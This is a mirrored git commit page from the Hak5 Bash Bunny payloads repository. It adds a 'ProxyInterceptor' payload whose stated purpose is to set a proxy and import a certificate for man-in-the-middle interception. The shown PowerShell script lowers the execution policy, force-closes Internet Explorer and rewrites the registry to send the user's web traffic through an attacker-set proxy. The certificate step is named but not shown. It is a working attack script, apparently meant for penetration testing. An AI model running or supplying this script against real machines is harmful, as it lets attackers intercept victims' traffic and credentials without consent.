mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
Added ProxyInterceptor payload (#82)
* Sets specified proxy and imports certificate for MITM * Update cert.pem * Update README.md * Update README.md * Update README.md * Update README.md * Update README.md * Update vars.ps1 * Update payload.txt * Update README.md * Update README.md
This commit is contained in:
committed by
Sebastian Kinne
parent
385a54656c
commit
c14732e57a
19
payloads/library/Proxy_Interceptor/SetProxy.ps1
Normal file
19
payloads/library/Proxy_Interceptor/SetProxy.ps1
Normal file
@@ -0,0 +1,19 @@
|
||||
#Import variables from vars.ps1 for use.
|
||||
. .\vars.ps1
|
||||
|
||||
#Change the Execution Policy to RemoteSigned and see if Internet Explorere is running and if so close it.
|
||||
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser
|
||||
$ieProcess = Get-Process iexplore -ErrorAction SilentlyContinue
|
||||
if ($ieProcess) {
|
||||
$ieProcess.CloseMainWindow()
|
||||
Sleep 5
|
||||
if (!$ieProcess.HasExited) {
|
||||
$ieProcess | Stop-Process -Force
|
||||
}
|
||||
}
|
||||
Remove-Variable ieProcess
|
||||
|
||||
#Change the proxy settings in the registry
|
||||
$regKey="HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
|
||||
Set-ItemProperty -path $regKey ProxyEnable -value 1
|
||||
Set-ItemProperty -path $regKey ProxyServer -value $proxyVal
|
||||
Reference in New Issue
Block a user